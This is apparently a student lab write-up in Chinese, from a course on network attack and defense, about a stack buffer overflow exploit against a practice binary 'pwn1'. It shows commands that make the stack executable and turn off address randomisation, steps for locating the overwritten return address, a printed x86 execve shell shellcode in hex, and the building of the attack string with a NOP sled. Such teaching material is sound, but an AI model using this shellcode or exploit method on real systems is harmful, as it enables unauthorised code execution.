《网络对抗》 逆向及Bof进阶实践
《网络对抗》 逆向及Bof进阶实践
实践目标
- 注入一个自己制作的shellcode并运行这段shellcode;
实践步骤
准备工作
root@5224:~# apt-get install execstake //安装execstake
...
root@5224:~# execstack -s pwn1 //设置堆栈可执行
root@5224:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@5224:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@5224:~# more /proc/sys/kernel/randomize_va_space
0 //"0"表示地址随机化已关闭
确定EIP的位置
- 初步寻找
可以看到eip被“3”覆盖了,但具体是哪个“3”的位置呢,我们再精确定位; - 精确定位
可以看到,eip是在“3456”的位置。
确定返回地址
- 构造字符串
最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置;为了能顺利的进行调试,字符串不要以“x0a”结束; - 查找eip地址
可以看到eip的地址为“0xffffd34c”,由于一会我们会将Shellcode加入到这字符串的后面,所以返回地址为eip地址加上4,即“0xffffd350”。
注入Shellcode
在网上找到如下Shellcode\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
;
获取更多Shellcode点这里
构造攻击字符串
将上面的字符串最后的“\x4\x3\x2\x1”改为“\x50\xd3\xff\xff”,并在后面粘上Shellcode。我还在Shellcode前加入了一段“着陆区/滑行区”,增加了返回地址计算的容错力。
注入Shellcode
《网络对抗》 逆向及Bof进阶实践的更多相关文章
- 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践
20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ...
- 20145216史婧瑶《网络对抗》逆向及Bof进阶实践
20145216史婧瑶<网络对抗>逆向及Bof进阶实践 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢 ...
- #20145238荆玉茗《网络对抗》-逆向及Bof进阶实践
20145238荆玉茗<网络对抗>-逆向及Bof进阶实践 实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...
- 20145312《网络对抗》 逆向及Bof基础实践
20145312 <网络对抗> 逆向及Bof基础实践 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...
- 20145314郑凯杰《网络对抗技术》实验1 逆向及Bof基础实践
20145314郑凯杰<网络对抗技术>实验1 逆向及Bof基础实践 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数 ...
- 20145328 《网络对抗技术》逆向及Bof基础实践
20145328 <网络对抗技术>逆向及Bof基础实践 实践内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回 ...
- 20145217《网络对抗》 逆向及BOF进阶实践学习总结
20145217<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...
- 20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结
20145222<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...
- 网络对抗实验一 逆向及Bof基础实践
网络对抗实验一 逆向及Bof基础实践 一.实验目的 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. ...
随机推荐
- 【Raspberry pi】GPIO注意事项
1.GPIO编码的方法 第三列是树莓派板子上的自然编号(左边引脚为1-15,右边引脚为2-26),RPi.GPIO.setmode(GPIO.BOARD)采用这列编号 树莓派主芯片提供商Broadco ...
- 【Raspberry pi】python ide-spyder
sudo apt-get install spyder 简单 明了
- C#反射实例学习及注意内容
C#反射的入门学习首先要明白C#反射提供了封装程序集.模块和类型的对象等等.那么这样可以使用反射动态创建类型的实例,将类型绑定到现有对象,或从现有对象获取类型并调用其方法或访问其字段和属性.如果代码中 ...
- asp.net session丢失的解决方法小结
现在我就把原因和解决办法写出来. ASP.NET Session丢失原因: 由于Asp.net程序是默认配置,所以Web.Config文件中关于Session的设定如下: < sessionSt ...
- PHP和JS判断手机还是电脑访问
当用户使用手机等移动终端访问网站时,我们可以通过程序检测用户终端类型,如果是手机用户,则引导用户访问适配手机屏幕的移动站点.本文将介绍分别使用PHP和JAVASCRIPT代码判断用户终端类型. PHP ...
- IO文件读写
*b表示二进制模式访问,但是对于Linux或者Unix系统来说这个模式没有任何意义,因为他们把所有文件都看做二进制文件,包括文本文件 一.三种方法读取文件 方法1:open f=open(" ...
- jq 选择器基础及拓展
jquery 用的很多,所以jq的选择器就很受欢迎,但是用的过程中有一些小问题,如果不点透就永远不知道. 1:ID选择器:$("#ID"); 得到一个指定对应,并且只能得到一个对象 ...
- oracle 实现多字段匹配一个关键字查询语句
oracle 实现多字段匹配一个关键字查询语句:有两种方法(经测试,10g中不能用,11g才行): 第一种. select * from table where ('字段名1' ||'字段名2' || ...
- 《挑战程序设计竞赛》2.4 数据结构-并查集 POJ1182 2236 1703 AOJ2170
POJ1182 http://poj.org/problem?id=1182 题目 难得的中文题... 食物链 Time Limit: 1000MS Memory Limit: 10000K Tota ...
- MVC异步消息推送机制
在MVC里面,有异步控制器,可以实现模拟消息推送机制功能 1.控制器要继承至AsyncController,如 public class RealTimeController : AsyncContr ...